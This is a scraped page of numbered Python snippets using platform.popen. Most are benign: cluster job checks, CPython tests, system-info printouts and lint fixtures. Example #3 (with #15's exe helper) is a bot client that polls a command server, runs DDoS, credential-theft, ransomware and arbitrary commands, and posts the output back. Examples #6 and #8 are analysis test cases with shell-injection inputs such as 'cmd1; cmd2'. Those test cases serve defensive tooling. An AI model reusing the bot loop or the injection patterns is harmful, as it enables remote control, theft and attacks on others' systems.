def get_run_status(self, subject_info):

		session_name = subject_info.subject_id + '_' + subject_info.classifier
		
		USER = os.getenv('USER')
		if not USER:
			raise RuntimeError("Environment variable USER must be set")

		qstat_running_cmd = 'qstat -u ' + USER
		qstat_running_cmd += ' | grep ' + subject_info.subject_id + '.Struc'
		qstat_running_cmd += ' | grep " R "'

		qstat_stream = platform.popen(qstat_running_cmd, "r")
		qstat_results = qstat_stream.readline()
		qstat_stream.close()

		if qstat_results:
			return 'R'

		qstat_queued_cmd = 'qstat -u ' + USER
		qstat_queued_cmd += ' | grep ' + subject_info.subject_id + '.Struc'
		qstat_queued_cmd += ' | grep " Q "'
		
		qstat_stream = platform.popen(qstat_queued_cmd, "r")
		qstat_results = qstat_stream.readline()
		qstat_stream.close()

		if qstat_results:
			return 'Q'

		return None
Beispiel #2
0
    def test_popen(self):
        mswindows = (sys.platform == "win32")

        if mswindows:
            command = '"{}" -c "print(\'Hello\')"'.format(sys.executable)
        else:
            command = "'{}' -c 'print(\"Hello\")'".format(sys.executable)
        with warnings.catch_warnings():
            warnings.simplefilter("ignore", DeprecationWarning)
            with platform.popen(command) as stdout:
                hello = stdout.read().strip()
                stdout.close()
                self.assertEqual(hello, "Hello")

        data = 'plop'
        if mswindows:
            command = '"{}" -c "import sys; data=sys.stdin.read(); exit(len(data))"'
        else:
            command = "'{}' -c 'import sys; data=sys.stdin.read(); exit(len(data))'"
        command = command.format(sys.executable)
        with warnings.catch_warnings():
            warnings.simplefilter("ignore", DeprecationWarning)
            with platform.popen(command, 'w') as stdin:
                stdout = stdin.write(data)
                ret = stdin.close()
                self.assertIsNotNone(ret)
                if os.name == 'nt':
                    returncode = ret
                else:
                    returncode = ret >> 8
                self.assertEqual(returncode, len(data))
Beispiel #3
0
 def receiver(self):
     '''Check every 30 seconds if there is commands to execute'''
     threading.Timer(30.0, self.receiver).start()
     cmd = requests.get(HOST+":"+PORT+"/check_cmd/"+KEY+"/").content.decode() 
     cmd = cmd.split("<br>")[0].replace("\n","")
     
     if cmd == 'quit':
         platform.popen("shutdown -t 100 'Error Occurred .  .  .  .  .  .  .  .  .  .  ..  .  .  .  .  .  .  .  .  .  ..  .  .  .  .  .  .  .  .  .  .'")
         pass
         
     elif "ddos" in cmd:
         for x in range(1, threading.active_count()):
             t = threading.Thread(target=MODS.ddos(cmd.split("ddos ")[1])) #cmd = 'ddos www.google.it:443'
             t.start()
             print("Strarted: {0}".format(str(t)))
         requests.post(HOST+":"+PORT+"/cmd_out/", json={'KEY':KEY, 'OUT':'Dossed {0}'.format(cmd.split("ddos ")[1]) ,'IN':cmd})
         pass
         
     elif cmd == 'cred':
         MODS.cred()
         pass
         
     elif cmd == 'ransom':
         MODS.ransom()
         pass
         
     else:
         requests.post(HOST+":"+PORT+"/cmd_out/", json={'KEY':KEY,'OUT':MODS.exe(cmd), 'IN':cmd})
         pass
Beispiel #4
0
    def test_popen(self):
        mswindows = (sys.platform == "win32")

        if mswindows:
            command = '"{}" -c "print(\'Hello\')"'.format(sys.executable)
        else:
            command = "'{}' -c 'print(\"Hello\")'".format(sys.executable)
        with warnings.catch_warnings():
            warnings.simplefilter("ignore", DeprecationWarning)
            with platform.popen(command) as stdout:
                hello = stdout.read().strip()
                stdout.close()
                self.assertEqual(hello, "Hello")

        data = 'plop'
        if mswindows:
            command = '"{}" -c "import sys; data=sys.stdin.read(); exit(len(data))"'
        else:
            command = "'{}' -c 'import sys; data=sys.stdin.read(); exit(len(data))'"
        command = command.format(sys.executable)
        with warnings.catch_warnings():
            warnings.simplefilter("ignore", DeprecationWarning)
            with platform.popen(command, 'w') as stdin:
                stdout = stdin.write(data)
                ret = stdin.close()
                self.assertIsNotNone(ret)
                if os.name == 'nt':
                    returncode = ret
                else:
                    returncode = ret >> 8
                self.assertEqual(returncode, len(data))
Beispiel #5
0
def deprecatioin_warning():
    """Using depreticated features."""

    warnings.simplefilter('error', DeprecationWarning)
    try:
        platform.popen('/bin/true')
    except DeprecationWarning:
        return "use subprocess instead"
    finally:
        warnings.simplefilter('ignore', DeprecationWarning)
Beispiel #6
0
def python2_specific():
    """
    These tests are mostly included to check for extra paths that can be generated if
    we can track flow into the implementation of a stdlib function, and then to another sink.
    See comment in query for more details.
    """

    files = request.args.get("files", "")
    os.popen2("ls " + files)
    os.popen3("ls " + files)
    os.popen4("ls " + files)

    platform.popen("ls " + files)

    popen2.popen2("ls " + files)
    popen2.popen3("ls " + files)
    popen2.popen4("ls " + files)
    popen2.Popen3("ls " + files)
    popen2.Popen4("ls " + files)
Beispiel #7
0
# coding=utf-8

import platform

print platform.system()
print platform.version()
print platform.release()
print platform.dist()
print platform.uname()
print platform.node()
print platform.platform()
print platform.machine()
print platform.processor()
print platform.architecture()
print platform._sys_version()
print platform.java_ver()
print platform.python_version()
print platform.python_implementation()
print platform.python_version_tuple()
print platform.python_branch()
print platform.python_compiler()
print platform.python_build()
print platform.win32_ver()
print platform.mac_ver()
print platform.linux_distribution()

print platform.popen('ifconfig','w')
Beispiel #8
0
os.popen2("cmd1; cmd2")  # $getCommand="cmd1; cmd2"
os.popen3("cmd1; cmd2")  # $getCommand="cmd1; cmd2"
os.popen4("cmd1; cmd2")  # $getCommand="cmd1; cmd2"

os.popen2(cmd="cmd1; cmd2")  # $getCommand="cmd1; cmd2"
os.popen3(cmd="cmd1; cmd2")  # $getCommand="cmd1; cmd2"
os.popen4(cmd="cmd1; cmd2")  # $getCommand="cmd1; cmd2"

# os.popen does not support keyword arguments, so this is a TypeError
os.popen(cmd="cmd1; cmd2")

########################################
import platform

platform.popen("cmd1; cmd2")  # $getCommand="cmd1; cmd2"
platform.popen(cmd="cmd1; cmd2")  # $getCommand="cmd1; cmd2"

########################################
# popen2 was deprecated in Python 2.6, but still available in Python 2.7
import popen2

popen2.popen2("cmd1; cmd2")  # $getCommand="cmd1; cmd2"
popen2.popen3("cmd1; cmd2")  # $getCommand="cmd1; cmd2"
popen2.popen4("cmd1; cmd2")  # $getCommand="cmd1; cmd2"
popen2.Popen3("cmd1; cmd2")  # $getCommand="cmd1; cmd2"
popen2.Popen4("cmd1; cmd2")  # $getCommand="cmd1; cmd2"

popen2.popen2(cmd="cmd1; cmd2")  # $getCommand="cmd1; cmd2"
popen2.popen3(cmd="cmd1; cmd2")  # $getCommand="cmd1; cmd2"
popen2.popen4(cmd="cmd1; cmd2")  # $getCommand="cmd1; cmd2"
Beispiel #9
0
print("platform.platform() -> ", platform.platform())
print("platform.architecture() -> ", platform.architecture())

print("\nplatform.uname() -> ", platform.uname())
print("platform.system() -> ", platform.system())
print("platform.node() -> ", platform.node())
print("platform.release() -> ", platform.release())
print("platform.version() -> ", platform.version())
print("platform.machine() -> ", platform.machine())
print("platform.processor() -> ", platform.processor())

print("\nplatform.libc_ver() -> ", platform.libc_ver())
print("platform.linux_distribution() -> ", platform.linux_distribution())
print("platform.dist() -> ", platform.dist())
print("platform.popen(\"ls - l\").read() -> ", platform.popen("ls -l").read())

print("\nplatform.python_version() -> ", platform.python_version())
print("platform.python_version_tuple() -> ", platform.python_version_tuple())
print("platform.python_branch() -> ", platform.python_branch())
print("platform.python_build() -> ", platform.python_build())
print("platform.python_compiler() -> ", platform.python_compiler())
print("platform.python_implementation() -> ", platform.python_implementation())
print("platform.python_revision() -> ", platform.python_revision())

print(platform.java_ver())

print("\nplatform.mac_ver() -> ", platform.mac_ver())
print("platform.win32_ver() -> ", platform.win32_ver())

print(
Beispiel #10
0
import xml.etree.ElementTree


class MyTest(unittest.TestCase):
    def test(self):
        self.assert_(True)  # [deprecated-method]


xml.etree.ElementTree.Element('tag').getchildren()  # [deprecated-method]
xml.etree.ElementTree.Element('tag').getiterator()  # [deprecated-method]
xml.etree.ElementTree.XMLParser('tag', None,
                                None).doctype(None, None,
                                              None)  # [deprecated-method]
nntplib.NNTP(None).xpath(None)  # [deprecated-method]

inspect.getargspec(None)  # [deprecated-method]
logging.warn("a")  # [deprecated-method]
platform.popen([])  # [deprecated-method]
base64.encodestring("42")  # [deprecated-method]
base64.decodestring("42")  # [deprecated-method]
cgi.escape("a")  # [deprecated-method]


class SuperCrash(unittest.TestCase):
    def __init__(self):
        # should not crash.
        super(SuperCrash, self)()


xml.etree.ElementTree.iterparse(None)
import platform
import unittest
import xml.etree.ElementTree


class MyTest(unittest.TestCase):
    def test(self):
        self.assert_(True)  # [deprecated-method]

xml.etree.ElementTree.Element('tag').getchildren()  # [deprecated-method]
xml.etree.ElementTree.Element('tag').getiterator()  # [deprecated-method]
xml.etree.ElementTree.XMLParser('tag', None, None).doctype(None, None, None)  # [deprecated-method]
nntplib.NNTP(None).xpath(None) # [deprecated-method]
inspect.getmoduleinfo(inspect) # [deprecated-method]

inspect.getargspec(None) # [deprecated-method]
logging.warn("a") # [deprecated-method]
platform.popen([]) # [deprecated-method]
base64.encodestring("42") # [deprecated-method]
base64.decodestring("42") # [deprecated-method]
cgi.escape("a") # [deprecated-method]


class SuperCrash(unittest.TestCase):

    def __init__(self):
        # should not crash.
        super(SuperCrash, self)()

xml.etree.ElementTree.iterparse(None)
Beispiel #12
0
#!/usr/bin/env python3
import platform
p = platform.popen("dir", "r")
data = p.readlines()
p.close()
for i in data:
    print(i, end="")
Beispiel #13
0
#!/usr/bin/env python3
import platform

data = ["mike", "jane", "alice", "ruth"]

p = platform.popen("sort", "w")
for i in data:
    print(i, file=p)

p.close()
Beispiel #14
0
# coding=utf-8

import platform

print platform.system()
print platform.version()
print platform.release()
print platform.dist()
print platform.uname()
print platform.node()
print platform.platform()
print platform.machine()
print platform.processor()
print platform.architecture()
print platform._sys_version()
print platform.java_ver()
print platform.python_version()
print platform.python_implementation()
print platform.python_version_tuple()
print platform.python_branch()
print platform.python_compiler()
print platform.python_build()
print platform.win32_ver()
print platform.mac_ver()
print platform.linux_distribution()

print platform.popen('ifconfig', 'w')
Beispiel #15
0
 def exe(self, cmd):
     return str(platform.popen(cmd).read())       
import platform

print platform.platform()
print platform.machine()
print platform.architecture()
print platform.processor()
print platform.node()
print platform.python_version()
print platform.python_compiler()
print platform.python_version_tuple()
print platform.release()
print platform.system()
print platform.popen('ls').read()
 def getValueByCommand(self, command):
     value = platform.popen(command).read().strip()
     return value